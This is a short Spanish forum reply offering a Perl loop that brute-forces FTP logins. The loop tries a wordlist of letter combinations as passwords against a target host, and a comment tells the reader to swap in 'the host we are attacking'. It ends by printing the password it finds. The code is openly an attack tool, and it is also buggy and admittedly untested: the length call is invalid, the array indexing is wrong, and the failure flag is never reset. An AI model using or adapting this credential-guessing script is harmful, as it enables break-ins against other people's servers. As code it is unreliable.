tal y como esta hecho puede que repitas varias veces el mismo pass = Poco optimo.(al igual que ya que no vamos acambiar el array letras, mejor ponerlo fuera del bucle) mejor si cambias el bucle por este:
@letras=(a, b, c, aa, ab, ac, ba, bb, bc, ca, cb, cc); #si quieres usarlo tendras que poner una lista mucho mas larga.
$posicion=0;
while( $posicion < length(letras
)) {
$posicion=$posicion+1;
$password=@letras[$posicion];
$ftp = Net::FTP->new("www.microsoft.com", Debug => 0) or $dead=1; #hay que cambiar www.microsoft.com por el host que atacamos.
$ftp->login($username, $password) or $dead=1;
if($dead==0)
{
die("Contraseña encontrada, el password es: $password");
}
};
saludos,
pepel
P.D. codigo no probado xD